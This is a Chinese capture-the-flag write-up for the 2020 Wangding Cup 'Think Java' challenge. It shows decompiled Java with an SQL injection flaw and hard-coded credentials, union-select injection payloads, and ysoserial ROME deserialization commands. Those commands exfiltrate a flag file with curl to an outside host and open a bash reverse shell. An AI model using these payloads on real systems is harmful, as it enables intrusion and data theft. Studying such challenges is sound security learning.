[网鼎杯 2020 朱雀组]Think Java
[网鼎杯 2020 朱雀组]Think Java
文章目录
- [网鼎杯 2020 朱雀组]Think Java
- 获取源文件
- Swagger
- JDBC sql注入
- 关于#的使用
- 查看数据库名字
- 获取表名
- 获取字段名
- 获取字段值
- 对序列化字符串分析
- java Deserialization Scanner插件使用
- ysoserial
- curl将flag带出来
- 反弹shell
- 参考文章
获取源文件
下载jar包,扔进jd-gui查看源码
主要是4个文件
Test.java
接收dbName参数,然后调用getTableData
方法
package ;import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {@PostMapping({"/sqlDict"})@Access@ApiOperation(")public ResponseResult sqlDict(String dbName) throws IOException {List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");return ResponseResult.e(ResponseCode.OK, tables);}
}
Row.java
定义了一个Row类
package .sqldict;public class Row {String name;String type;String def;String isNull;String isAuto;String remark;String isPK;String size;public String getIsPK() {return this.isPK;}public void setIsPK(String isPK) {this.isPK = isPK;}public String getName() {return this.name;}public void setName(String name) {this.name = name;}public String getType() {return this.type;}public void setType(String type) {this.type = type;}public String getDef() {return this.def;}public void setDef(String def) {this.def = def;}public String getIsNull() {return this.isNull;}public void setIsNull(String isNull) {this.isNull = isNull;}public String getIsAuto() {return this.isAuto;}public void setIsAuto(String isAuto) {this.isAuto = isAuto;}public String getRemark() {return this.remark;}public void setRemark(String remark) {this.remark = remark;}public String getSize() {return this.size;}public void setSize(String size) {this.size = size;}public Row() {}public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) {this.name = name;this.type = type;this.def = def;this.isNull = isNull;this.isAuto = isAuto;this.remark = remark;this.isPK = isPK;this.size = size;}
}
SqlDict.java
连接数据库,其中sql语句处存在sql注入漏洞
package .sqldict;import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;public class SqlDict {public static Connection getConnection(String dbName, String user, String pass) {Connection conn = null;try {Class.forName("com.mysql.jdbc.Driver");if (dbName != null && !dbName.equals("")) {dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;} else {dbName = "jdbc:mysql://mysqldbserver:3306/myapp";} if (user == null || dbName.equals(""))user = "root"; if (pass == null || dbName.equals(""))pass = "abc@12345"; conn = DriverManager.getConnection(dbName, user, pass);} catch (ClassNotFoundException var5) {var5.printStackTrace();} catch (SQLException var6) {var6.printStackTrace();} return conn;}public static List<Table> getTableData(String dbName, String user, String pass) {List<Table> Tables = new ArrayList<>();Connection conn = getConnection(dbName, user, pass);String TableName = "";try {Statement stmt = conn.createStatement();DatabaseMetaData metaData = conn.getMetaData();ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });while (tableNames.next()) {TableName = tableNames.getString(3);Table table = new Table();String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";ResultSet rs = stmt.executeQuery(sql);while (rs.next())table.setTableDescribe(rs.getString("TABLE_COMMENT")); table.setTableName(TableName);ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);String PK;for (PK = ""; rs2.next(); PK = rs2.getString(4));while (data.next()) {Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));table.list.add(row);} Tables.add(table);} } catch (SQLException var16) {var16.printStackTrace();} return Tables;}
}
Table.java
package .sqldict;import cn.abc.core.sqldict.Row;
import java.util.ArrayList;
import java.util.List;public class Table {String tableName;String tableDescribe;List<Row> list = new ArrayList<>();public String getTableDescribe() {return this.tableDescribe;}public void setTableDescribe(String tableDescribe) {this.tableDescribe = tableDescribe;}public String getTableName() {return this.tableName;}public void setTableName(String tableName) {this.tableName = tableName;}public List<Row> getList() {return this.list;}public void setList(List<Row> list) {this.list = list;}
}
Swagger
注意看Test.java,导入了swagger这个东西
查一下资料
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
查资料会查到swagger-ui.html
访问swagger-ui.html
,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入
至于login和current,题目给我们jar包时候说了只给了部分class文件,不过login应该是登录用的
JDBC sql注入
关于#的使用
参考guoke师傅的解释
在url中#
表示锚点,表示网页中的一个位置,比如http:xxx/index.html#aaa
,浏览器读取这个url,会将aaa
移到可视位置。在第一个#
,都会被视为位置标识符,不会被发送到服务端
而jdbc类似于url解析,所以会忽略#
后面的字符
而#
又是sql注入中的注释符,如果我们需要在url中传#
,那么需要进行url编码为%23
查看数据库名字
select schema_name from information_schema.schemata;
效果相当于show databases;
获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys
获取表名
dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user
获取字段名
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd
获取字段值
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde
所以就得到一个用户信息
序号为1
,name为admin
,密码为admin@Rrrr_ctf_asde
然后将用户名和密码在/common/user/login
处提交,获取一串字符串
{"password": "admin@Rrrr_ctf_asde","username": "admin"
}
将这段字符串放到/common/user/current
处提交,然后就会发现回显了这个用户的信息
对序列化字符串分析
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
引用Mustapha Mond
师傅的解释
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用
使用burpsuite的java Deserialization Scanner
插件对其进行分析,在extender中安装这个插件
然后配置一下环境变量
然后抓包,将其发送到插件中
然后选择base64开始扫描,结果回显ROME
有可能
接下来使用ysoserial打
ysoserial
curl将flag带出来
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:7015 -d @/flag" > a.bin
a.py,python3环境运行
# -*- coding: UTF-8 -*-
import base64
file = open("a.bin","rb")now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
注意回显的字符串特征,看下大佬的技巧
注意最后提交的时候,要在前面加上Bearer
注意提前监听端口
然后在/common/user/current
这里提交
监听处得flag
反弹shell
或者弹shell,弹shell操作参考链接
bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYxjava -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current
监听端口,得shell
参考文章
- swagger参考文章
- h3zh1师傅的文章
- ysoserial使用方法
- guoke师傅的wp
- 关于information.schema的解释
- 弹shell操作参考链接
[网鼎杯 2020 朱雀组]Think Java相关推荐
- 【网鼎杯 2020 朱雀组】Think Java
[网鼎杯 2020 朱雀组]Think Java 首先下载题目附件,是一些.class文件,反编译查看. 注意到引入的其中一个包: import io.swagger.annotations.ApiO ...
- [网鼎杯 2020 朱雀组]phpweb
目录 解题过程: 找payload: 1. 对in_array()函数进行绕过 2. php反序列化 参考文章: 考点:关于call_user_func()函数的用法,php反序列化(本题不用也能做) ...
- [网鼎杯 2020 朱雀组]phpweb-反弹shell
[网鼎杯 2020 朱雀组]phpweb 通过反弹shell获取flag 打开链接,显示一个不断刷新的页面,通过burp抓包查看 通过对页面源代码的分析,发现在本页面中,通过post传入index.p ...
- NO.2-24 [网鼎杯 2020 朱雀组]Nmap
站老是崩,有点难受. 过程 1.题目非常熟悉,以前在buu写过.主要考察nmap的一些用法. 2. 选项 解释 -oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格式 -a ...
- [网鼎杯 2020 朱雀组]Nmap
- nmap -oG -iL 写入文件和读取文件之[网鼎杯 2020 朱雀组]Nmap
知识点: 利用-oG,可以将命令和结果写进文件. 利用-iL 和-oN.其中-iL是从inputfilename文件中读取扫描的目标.在这个文件中要有一个主机或者网络的列表,由空格键.制表键或者回车键 ...
- [网鼎杯 2020 朱雀组]之phpweb两种不同的解题方式
目录 方法一: 方法二: 知识点: 1)黑名单取巧绕过 2)PHP的file_get_contents函数使用 3)PHP序列化与反序列化构造 访问靶机,观察页面,开始时首先加载了一张图片,随后刷新回 ...
- [网鼎杯 2020 朱雀组]phpweb 待续
抓包看参数 联想到函数 读index.php代码 func=file_get_contents&p=index.php <?php $disable_fun = array ...
- undefsafe原型链[网鼎杯 2020 青龙组]notes
感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...
最新文章
- python量化投资必背代码-重磅!我把自己耗费两年用Python写的量化投资代码开源了!...
- 无法嵌入互操作类型 请改用适用的接口。
- JUKI贴片机RX-7R_JUKI贴片机_贴片机
- 如何对自己做好正确的人生规划
- 宏定义中#号和##号的使用
- String.format() 图文详解,写得非常好!
- Segmentation fault (core dumped)
- 洛谷 P3368 【模板】树状数组 2
- TYVJ P2032 「Poetize9」升降梯上 spfa最短路
- 记一次小程序富文本的小小优化
- JAVA代码实现按列表中元素的时间字段排序
- 【剑指offer】_07 矩形覆盖
- 图片自动翻转css代码,用css实现图片翻转(示例代码)
- 过程日志定位疑难问题
- 一种单片机支持WiFi的应用——SimpleWiFi在单片机中的应用
- 管螺纹如何标注_管螺纹的种类特别多,我们该如何快速区分?
- 用C++写一个简单的表白小程序
- 台达变频器485通讯接线图_三菱PLC 与台达VFD-L 变频器通讯(RS485)程序
- 菜鸟学院~沉寂近30年后火了!存内计算如何打破AI算力瓶颈?
- 什么是轻量应用服务器
热门文章
- 并发:OPP响应超时
- [ue5]关卡设计与地编_材质
- 小米mix Android9,小米mix3的系统是安卓9吗?
- 11.17定时调度(血干JAVA系类)
- 荣耀v8升级android 8,荣耀V8强刷EMUI8.0系统图文教程(EMUI5.0直升EMUI8.0)
- 荣耀8X鸿蒙OS系统,华为没有忘记老用户,畅享系列升级鸿蒙OS,荣耀8X在列
- android 通知没有声音,安卓手机没有声音提醒设置教程【华为】
- 产品读书《互联网思维独孤九剑:移动互联网时代的思维革命》
- delphi excel 清除区域内容
- JDK多版本安装 Windows和Linux